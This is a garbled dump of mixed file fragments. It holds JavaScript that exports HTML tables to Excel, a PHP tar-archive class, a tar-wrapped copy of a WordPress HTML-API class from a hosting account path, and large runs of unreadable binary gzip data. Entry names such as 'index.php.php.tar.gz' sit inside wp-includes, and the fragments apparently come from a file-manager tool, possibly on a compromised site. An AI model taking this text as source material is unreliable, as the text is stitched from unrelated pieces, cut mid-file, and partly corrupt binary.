    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

dvadf<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PKgN\�Wy%class-wp-html-attribute-token.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-attribute-token.php000064400000005327151440277760024114 0ustar00<?php
/**
 * HTML API: WP_HTML_Attribute_Token class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used by the HTML tag processor as a data structure for the attribute token,
 * allowing to drastically improve performance.
 *
 * This class is for internal usage of the WP_HTML_Tag_Processor class.
 *
 * @access private
 * @since 6.2.0
 * @since 6.5.0 Replaced `end` with `length` to more closely match `substr()`.
 *
 * @see WP_HTML_Tag_Processor
 */
class WP_HTML_Attribute_Token {
	/**
	 * Attribute name.
	 *
	 * @since 6.2.0
	 *
	 * @var string
	 */
	public $name;

	/**
	 * Attribute value.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $value_starts_at;

	/**
	 * How many bytes the value occupies in the input HTML.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $value_length;

	/**
	 * The string offset where the attribute name starts.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $start;

	/**
	 * Byte length of text spanning the attribute inside a tag.
	 *
	 * This span starts at the first character of the attribute name
	 * and it ends after one of three cases:
	 *
	 *  - at the end of the attribute name for boolean attributes.
	 *  - at the end of the value for unquoted attributes.
	 *  - at the final single or double quote for quoted attributes.
	 *
	 * Example:
	 *
	 *     <div class="post">
	 *          ------------ length is 12, including quotes
	 *
	 *     <input type="checked" checked id="selector">
	 *                           ------- length is 6
	 *
	 *     <a rel=noopener>
	 *        ------------ length is 11
	 *
	 * @since 6.5.0 Replaced `end` with `length` to more closely match `substr()`.
	 *
	 * @var int
	 */
	public $length;

	/**
	 * Whether the attribute is a boolean attribute with value `true`.
	 *
	 * @since 6.2.0
	 *
	 * @var bool
	 */
	public $is_true;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 * @since 6.5.0 Replaced `end` with `length` to more closely match `substr()`.
	 *
	 * @param string $name         Attribute name.
	 * @param int    $value_start  Attribute value.
	 * @param int    $value_length Number of bytes attribute value spans.
	 * @param int    $start        The string offset where the attribute name starts.
	 * @param int    $length       Byte length of the entire attribute name or name and value pair expression.
	 * @param bool   $is_true      Whether the attribute is a boolean attribute with true value.
	 */
	public function __construct( $name, $value_start, $value_length, $start, $length, $is_true ) {
		$this->name            = $name;
		$this->value_starts_at = $value_start;
		$this->value_length    = $value_length;
		$this->start           = $start;
		$this->length          = $length;
		$this->is_true         = $is_true;
	}
}
PKgN\�_���-class-wp-html-text-replacement.php.php.tar.gznu�[�����UM��0�+�s��.(�Ԗ�v/��J�E�c0�I�&qd;���ޙ8	�e�+�S*s@��~3�I�d*�T�Dn^�����Iw�w�'E �K�.�c�'L�.n�#�LW�<a\�"3�<�/~�>���N�1���b0x^8�LƘzCσ�	�_�6La�?Q��Wo�3�m�h�ŧ��v����}Z�t��w���t|�3���n�
�J�0�Ū� �.�<���qo����u�7R	���v`"{!W�#�T�40�a��*�)���v�,$8qk��ef�嵒)����`I"�t�bx�cjq��6r�7e�p�"��b]u�T5Fx���&�r]��(�B�t^^��f�S��f�	q��Q�����ޗ��M�Dd���D ��I-�A��m�%��^65�x���K�Q׿9-2��@�v����0��'yQ�F9���Y+�r��%��&�a���p����e��K�Au˝�
��U��D��Ӆ,�a�/M���2r�(�	c�����{�h
�qk�ac72��/�S�9S,%��ań�2�!d��)W�:�P�d)[���[Tߋ�.2nb����Zƫ��U�c�-��qs���.
~��+-�͈6;��L5[�i�i�޹w���9�q��6��A�PKgN\�ȩd�dindex.php.php.tar.gznu�[�����i�+ɖ&��j�
�0�������d���T]�m���V���)'�I2�d&��\�]{0�/�e�/�m
y�#CƒtC����!��±��$��}�5¸��Vef�8q�Dĉ'N��J���_2+L��z(�空���Gš�~�f�<м�r;�r��K��	��X$�=�#��_
F��H ���{0����K�-~֊�Ƞ�e�k��g��ǍZ��ï��(��J��x������������A��V1C���~������7�W&�j��~��?���������PԿ���~��������Z,�ҝ���G?���Y��~�o����?�����?��?�#�ef����������~�'?����k��E�?���n~�������姿���؛?����?�_?��1������O$?�a���WV����g�����:�.���_���}���_��Q��U��Z0"3�dj��Q�;B�4Ր�%#3*/���_]������R�[
˹]��G-��,���sk4^�?R^�{�#q�@F����ʼn.�K^�_,~�e�k=w!�KF�²Ku�zn��|�����>z�w�"s��.��C��ǹL�U~U��؇�f.�B��� ���g�-�T8��YN�y�쇐%n�h��y$-97h����]F�a��w����y��k�f�
�JV&�"�d��uK�FR8yÏ8H</Nˍ���>CƮA�BP��[��r#��B���x�L����-l~�*���.BpR#I��G+�Z�r�Յk�̹g��Ai��wQ�;T����"�}��g��=�a�R����؞���G|�����AJ/���ԟ�����LW�����@3@F�J�E�Z6.�U�FkY�D��~�g��&�Z�	'rx`Q�9!0'2C�C%�*���te%8���H\�4b����.=y
�Ef�3�dI2�-E�J2�ӌ��Q9E}2
�2S�����F�/�%����X����p@ )`M�A���=Ce9Jĭ�W�{A�pkb"[��K��0�`�{�+�
����p�l-���	��d�d�`�q�61A�*
26�P��l0��i q$Is�-
�;��‚�Rw"	��+f�N߻Xf�<�GI��sA䀤���7�D$2G�D�`Ij(K[�KE�1����%�V/�z��t��l6��<Wҵb7]�C�
`M���"��:TQݛ�!b�%@^���(�`�%\�A�bFSʖJ1
��1�!5H��4�Bt�[3��'<�
�� xƒ	><	..,-�q��! l��?�������:�=z[P�B���RD��u����'�Q�
�s�M�̈��:��_���ɵ�g����TT�� 
c����=���ʜ��E�£����������r�o�7�Y8(d��p��D��c��ZL,AbHD�۔��g!�σ�.�i0�b#F4�}P��Pl��`t-�	v(N hPi�@����K�߀C��1�X)���$K��i'�F
��B�6�|�^�������Gt,9y�X-󓩪<c�Dg6hy��h@���HFϦ2���5\�7 ;f�@n��[*�˂%��J��G�2�nK�9�⡨�S>RO;���)mŴ_%�,:�8�"�!L�-n�ي����*fA����R��LOV��s#ˆaNӤ���s�B���
ef��y‘��9�AiЂ�P*ԩ%��Ȗfd:pW���V���	(��p� �[�I�OY�	!	���B4����v������	R��P�\X̜jk�pm���^�)5��	~Fm	��D^S����<J���+5��B�Q��SmB�P�\m4���6J��`��D���'�(�t�!�Z�}�H�K��I��O������+u�
�E5|���-|��|�lZU&H1*�m C_$8R���*Чa*�p�^j��}���y5�=Ӗ;l��?DI�-�	��1;p�!Arku-Mj&PLx@�o�66���r���DZŦ U��@�YXu
�6�ذJ�)g#J�m�F@�9�t��f���J�U��u0t
M�к.@q�+p�U0����p�p��H���Y7R	�0}�v��*S�a9�}��D���s���}C1�
x��o]0g��
�a��-2�9���@�\��i�4���uI��I`T������s�TN�SF2��uFּ�cN�D��sW8q�No(��xhek����8����A'u
��)�KE�5aO-�9ُ���뱴�D.u)k��N!��7cNZ�x���7�J� �f�b�h8Fr��"BT�J��8@���g
քq��#AR8TFǂ���XW ,B+H:�P�@��I*U��"K�y�jmW[eԵrc���R�Ҵ�!qd!��XX�&�v��#b��]������ԗ*���"���eĂ�/7y�
Bc�����p�rDK�J��;K�'�n��y��oš��-�"y�wvt�W�{
�#���"~5��":Cd���x<ZI�Es���qQ���z
��B
n��M��?���NSp��i��!���7�#Jd�ϛT�4�ង�Rp��_S�4�=F�Edg��Q�s�_[�"z�)��d�����c��.���h�k�ߚV���/�eYgVàl�Ƭ�����-�b<�@��g �++=��
+�"�ɬpB�_��i:�6;�m�Džп�i��w����-	~�����1�y�
�eh�� H7�5P
@[�:��!`����LXt�E�F�n��}�H6���!SP��C�Yo���7����PQe�G|PԉvD�9�u[�Aq����^�j"�Ѝ�=�QnS�|K��<A<��o>3�f�A���`�D2�}�oL�wL��Ȩ�$��2���i��I5Ŧ�	�����
��J�U0P].m�������7t'��cR��`¿�2�T�Ʃ�w`X�b����<s��J1���e\H�>݁g\�[��s9��gUz������R�+�`}`u��Ґ�!]q��ڼ��)*����-FD�w�iB�\~7D��D���s��#8�uJ��0�[��s��Ĥ&[����
z;�:J��OH��ӯ�z� ��:B{
(�%��ԩĦ.�«^RB�������\�(���ݮ
��PH"Ɲ�d����~X���T��G?t^u{.)X҅�o��y��U��X�R{`:� 9yq"��~�速��Y�U��`AΈ/���v��U�[kE�_�?�������E��v���w�2ËxK�,�-\�,��6[�$a���F��?b��ޢ��.ǥ�r�ٍ=d�T�\��dY�� ����2`���@bꐆ��	O�\܃�z�Č��T8i
aQ�WL�[����1���Rmě�����5��}��ʥ;�L��o�4��+��p[vT��G^��R�=�»����>ʞ�o;���i�o��"Ht_����O��S������Hű����d�2A]ߑg�s2���¬�̫Is�;Ĕ�Q���q¥-�Px��p<�J�����&YRV���3�όY#¶�t;R���`
�J�N��1�g�����)N�p����S�� ��Me�ڰ��2e*T��y�r�l��EH�1'�����TݭM���}�h^@��1�TF��=2D�j(�֤᛻����g�4�\�/Tt�N
4AA  �k�D��Є�M�����D'�b9��'Z\�RD
��$��^(*�s���Ӻ)-������;��\H�Rɷ]慜S3�On��C��
ĺ)ж�?ٖ�a@�'��8&�7��y
�41J]�K�=>]k#��5���z���v��B�^��:��a���Xp�\0��l��)�ȵ�
�N�T��O�v�M�'n�>�J2Kې#��*�ʧ;yR�N����}�,͒�d�����
�a�+����߷��	�׫ي^�Gt9`0�Tk�[�T��-|�z�J7�v�4��T�$e��J�r�/�`�����V}�0&_5C�̼ҽ��w��>�b�8В�ߍ�.P�'I@)vQ�� �@]�n�O&��BnS���v�>#ç#z�z�p�S��F�L��ߤ���s�:S5_��`?z�ox�; �|&��N��ɯ�.��l�7�Ґ9g�`�տ^\���5�N\>�@���X.�g���\[/�F���&P>3a�}'a���ǺK�?��.��Dʃ�pp��Ҏ��@_�jn�Xu��:X���+�L���֔�&[FT��q!AFe���H>�@[�K"�P'?\��>���|)�,3}�<C�'��]�Ȑ�4D ����.�n
D%�I,Z��ⱽ�U96��G}���ܣ0�r�R\-�e", �����)��u��GfN�`st����U}��'F�0�
7��g�N@C�_	�^j�9;�K�{�kh$��}�a<�ߜ-��[
/�n���G��!K#NQ,�R�=Y`(�.�`Hc�N/�{��P��2M�q'�:�Ļ��vrZĀ���r��Ĺ.r|��Y��kh��d���j�5g/��z�K9ۀ0\��������6�.�{&�7�O�Os�;8���6<�� {���O�Vl�(P&�2
�>��A�/&φ��}E��
C��s�T�??bށ|�v2�SI�
X)��m)pB\�U��@	��`�k�kxxETo��r��%9`2Z�GD�#��$H�
5���m�w�*�T�'����������
��#���k�G;�9�`U���v�P���m-�B�
9�
��+ �M8d�����XB��89���"F9gK�N����ċx�F���6<���p7�Zܗ`�dn�z)Nnq��^����ʼn�?�vw��N�S����t��*�d>d�l��ͧ�e�T�>�cM�q�jv
�='c��D��d�x���Y$����S>�K��N�Gjn��*�W_��#:!����j����>�L��l����̄�L�G7�P;0w��p�;_�'|���F:��E��r�b���P쳱�ދ�=�ͤ�e!<^D�Հy��s>ԛx�Ⱥ��o+�谟��t|6��Y�Z/�g��C���Q�A�.����|� ��YuA'�n�2
p�`F(1yPuvZe��R��ǝAh�>��Z8�'�=6�>IO=II��7���X��0i���/DFʓ�H��m�Kτ�(L���ah�PKA�̄���SJ�g}Y�l���!�,�GO��)��eP�s�Ŋ�+�w1�U�	3�/�=��9M�W���t����,��l��0��:�Q�H�{�7ҍ�r�E�ZɈ�UeR�Uc�C&,��Bi]��3PI:����]�����C1�M��Iy(W��v&-�ࡿ��%��rm�*���c��D%^?�Tq�>$�1̴��n%"g���%���n�Χ��H�7�������
��`�H'W��vR��G�z։t��z|�&��;���-�DA��֕���˰��V�1���]�;�v���ӏ��0k=`�>[�mb+�z��|zJyA�?�Bwћ�����B]!��5�n�֟5�}%���d����z�⠵��,�V��`#U���ۭ�C����b�Xu�I����$Ȕ�mz\���H`?H�{��tҟ���ڮ�y��
5�|hŒ��.Өr�@��n�;�M[�0���V=�e�L�%�:�bx��\?�T���ubW��\%7B�tf����an�H��N/��r�P��'�l[���ɴ��T�V��z�巹-���F)���(�	���Ve�GB�C$��4r�6���Vn�{�#�yhu�yy�0�LR)�rb�`��1h�"�P�;��J�<�r��P��0�9Cw����z��woU��������wo��óhs���	�n��7��UO�x����֯9O��#������MV�H߁ۜp'	W	�B������J�f�!������ �֑�KYR%0����F�,��F;{V�.�9g�p�i��\mr���+2�I�K/�5Uեr��ܨ�:GX-iw$�ԨVOυz�1���sύV�Sw��	Ur�>��۱�,a�����Gs1���F�}����Y�A<�e�f_�sh)����L&�C��
�)��R�Y	��E���N�u�.�.�z�VY2�6"`�w��m�N7
a�N���"�6�9�3ð�9��a;0��K?������.�r›�'���꣚�5C�lM���t�v�!,����;��P�H��4vˡϰ�^.9WY% O��P�V�\�H�і��Ot*|�,+�k43�~�Y����2������Ӡ߇�!�
 B6k<
���{���v��Z�-�g�GvC$�p����w)�8���%�ߜ��b~�i��� ���/�I�\ �v�H���뇡-���M�����0�Z�,h��$JD���p�^��8��Ұ�4#�}��*R[0�s2�1<ifݐ �c	��0C�]6�'?�"�D@��ހ�e�B�AˀV'(���JY��ɰ�d���G�9j~2��9\�A��Тcr��5�3��;�����o��O��7����~�~������������_��?�����?p��7��k�o���nP�+?�S�Q�.䱂9|�ʳ��@B�@�	�!��F
�
qR�L��g��=�ŧ;��-y��a'��A3����6:=84��S���P?��h�k7�ΩI���	%BqR`�����%�̂�K
��OH�ڠܠT�tGY���]~�Y,ͱ��UU�71�Cs��`��Q��jk6���U���䘄,��1�x�����e���hF@�E����ߎ�I����5G��^O�9kʳ,g����&2؃8���0z%l[c�Zp�`�,��t#3��w��0e��uL�SN��	�,��t���.{s�8@Z�r��-�mfC<���uԧ�?�F:3��-�z	������^�R�ۺ���5�o1�a�����/S�w.D�&,���u�}�,{�yim�;躼�>C�@���,/����}��I�� {V�}3[�C4;{,[!.�`@�{��0�I�f���oRԥ��6>�/�� �I���.�KtT
�=���=���8�t���'����Qڸ�q��Б�JF��D�LP���&�yÑs�V9\[Z̥���-��C`c+�S(�l{ow�:�%t�Z>9'9|�}2��
mc�b�	��k��cʋ,U �I1b0Y�y�.�CKA�@�]G��	/k�5�����[�R�(3:�+�1������ZJ�~��/ب��>�0B�8�1���
7(��7C��@��`޼���蘜�a�C��d���	Vk^5ưy�jTٗZŶ�Mr�9M����@�VX����z�J�
�:Z�-&���h-o�,���	�X6�3����*{��[���;g�)u�8�q;^u0o.�U�Q�!S�#�Ld�tx���(H��/��܅�ܩ��
��Z#�+��?gx�I5�%�Qv ���P�Ɖ{E�
� O�3�j̀޵��f
8&��OF�����p�<�j�bx�w}ci�����>��ׇ>\��߽�|���	��A����O�hG�Cۆ�@��_aAb���6꠵M����K����\>�E>H��*�1���i�Z4���[/�g�2;�8����@C�ϊ6�Z'��t��:��
